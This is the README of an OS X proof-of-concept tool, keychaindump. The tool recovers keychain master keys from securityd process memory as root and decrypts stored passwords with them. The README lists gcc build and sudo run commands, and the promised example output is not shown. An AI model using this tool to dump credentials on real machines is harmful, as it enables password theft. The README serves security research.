keychaindump

Keychaindump is a proof-of-concept tool for reading OS X keychain passwords as root. It hunts for unlocked keychain master keys located in the memory space of the securityd process, and uses them to decrypt keychain files.

See the blog post for a much more readable description.

How?

Build instructions:

$ gcc keychaindump.c -o keychaindump -lcrypto

Basic usage:

$ sudo ./keychaindump [path to keychain file, leave blank for default]

Example with truncated and censored output:

$ sudo ./keychaindump
